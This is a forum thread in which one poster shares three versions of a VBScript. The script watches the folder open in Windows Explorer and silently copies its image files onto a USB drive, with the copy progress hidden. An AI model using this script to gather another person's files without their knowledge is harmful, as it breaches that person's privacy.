czjt1234

Option Explicit
Dim oFSO, oShell, oRegExp, oDrive, s, i

WScript.Timeout = 3000    '指定多少秒后自动结束vbs

Set oFSO = CreateObject("Scripting.FileSystemObject")
Set oShell = CreateObject("Shell.Application")
Set oRegExp = CreateObject("VBScript.RegExp")
oRegExp.IgnoreCase = True
oRegExp.Pattern = "^file:///([c-z]:/.*)"

Do
    For i = 67 To 90
        s = Chr(i) & ":"
        If oFSO.DriveExists(s) Then
            Set oDrive = oFSO.GetDrive(s)
            If oDrive.DriveType = 1 And oDrive.IsReady Then
                Call copyPic(oDrive.Path)
            End If
        End If
    Next
    WScript.Sleep 1000
Loop

Sub copyPic(ByVal p)
    Dim j, s, oFolder, oFolderItems, oFolderItem
    p = p & "\"
    For Each j In oShell.Windows()
        If oRegExp.Test(j.LocationURL) Then
            s = oRegExp.Execute(j.LocationURL)(0).SubMatches(0)
        End If
    Next
    s = RePlace(s, "/", "\")
    Set oFolder = oShell.NameSpace(s)
    Set oFolderItems = oFolder.Items()
    oFolderItems.Filter &H40 + &H80 + &H10000, "*.jpg;*.jpeg;*.bmp;*.png"
    Set oFolder = oShell.NameSpace(p)
    For Each oFolderItem In oFolderItems
        If Not oFSO.FileExists(p & oFolderItem.Name) Then oFolder.CopyHere oFolderItem
    Next
End Sub
复制代码

未测试

czjt1234

Option Explicit
Dim oFSO, oShell, oRegExp, oDrive, s, i

Const p1 = "zy\11"        'U盘中的文件夹，前后都不要有\

WScript.Timeout = 3000    '指定多少秒后自动结束vbs

Set oFSO = CreateObject("Scripting.FileSystemObject")
Set oShell = CreateObject("Shell.Application")
Set oRegExp = CreateObject("VBScript.RegExp")
oRegExp.IgnoreCase = True
oRegExp.Pattern = "^file:///([c-z]:/.*)"

Do
    For i = 67 To 90
        s = Chr(i) & ":"
        If oFSO.DriveExists(s) Then
            Set oDrive = oFSO.GetDrive(s)
            If oDrive.DriveType = 1 And oDrive.IsReady Then
                Call copyPic(oDrive.Path)
            End If
        End If
    Next
    WScript.Sleep 1000
Loop

Sub copyPic(ByVal p)
    Dim j, s, oFolder, oFolderItems, oFolderItem
    p = p & "\"
    For Each j In oShell.Windows()
        If oRegExp.Test(j.LocationURL) Then
            s = oRegExp.Execute(j.LocationURL)(0).SubMatches(0)
        End If
    Next
    s = RePlace(s, "/", "\")
    Set oFolder = oShell.NameSpace(s)
    Set oFolderItems = oFolder.Items()
    oFolderItems.Filter &H40 + &H80 + &H10000, "*.jpg;*.jpeg;*.bmp;*.png"
    Set oFolder = oShell.NameSpace(p)
    p = p & p1 & "\"
    s = """" & p & """"
    For Each oFolderItem In oFolderItems
        If Not oFSO.FileExists(p & oFolderItem.Name) Then
            oShell.ShellExecute "cmd.exe", "/c copy """ & oFolderItem.Path & """ " & s,,, 0
        End If
    Next
End Sub
复制代码

czjt1234

回复 5# jyswjjgdwtdtj


    隐藏复制的进度条

czjt1234

Option Explicit
Dim oFSO, oShell, oRegExp

Const p1 = "zy\11"        'U盘中的文件夹，前后都不要有\

WScript.Timeout = 3000    '指定多少秒后自动结束vbs

Set oFSO = CreateObject("Scripting.FileSystemObject")
Set oShell = CreateObject("Shell.Application")
Set oRegExp = CreateObject("VBScript.RegExp")
oRegExp.IgnoreCase = True
oRegExp.Pattern = "^file:///([c-z]:/.*)"

Do
    Call copyPic(oFSO.GetDriveName(WScript.ScriptFullname))
    WScript.Sleep 1000
Loop

Sub copyPic(ByVal p)
    Dim j, s, oFolder, oFolderItems, oFolderItem
    p = p & "\"
    For Each j In oShell.Windows()
        If oRegExp.Test(j.LocationURL) Then
            s = oRegExp.Execute(j.LocationURL)(0).SubMatches(0)
        End If
    Next
    s = RePlace(s, "/", "\")
    Set oFolder = oShell.NameSpace(s)
    Set oFolderItems = oFolder.Items()
    oFolderItems.Filter &H40 + &H80 + &H10000, "*.jpg;*.jpeg;*.bmp;*.png"
    Set oFolder = oShell.NameSpace(p)
    p = p & p1 & "\"
    s = """" & p & """"
    For Each oFolderItem In oFolderItems
        If Not oFSO.FileExists(p & oFolderItem.Name) Then
            oShell.ShellExecute "cmd.exe", "/c copy """ & oFolderItem.Path & """ " & s,,, 0
        End If
    Next
End Sub
复制代码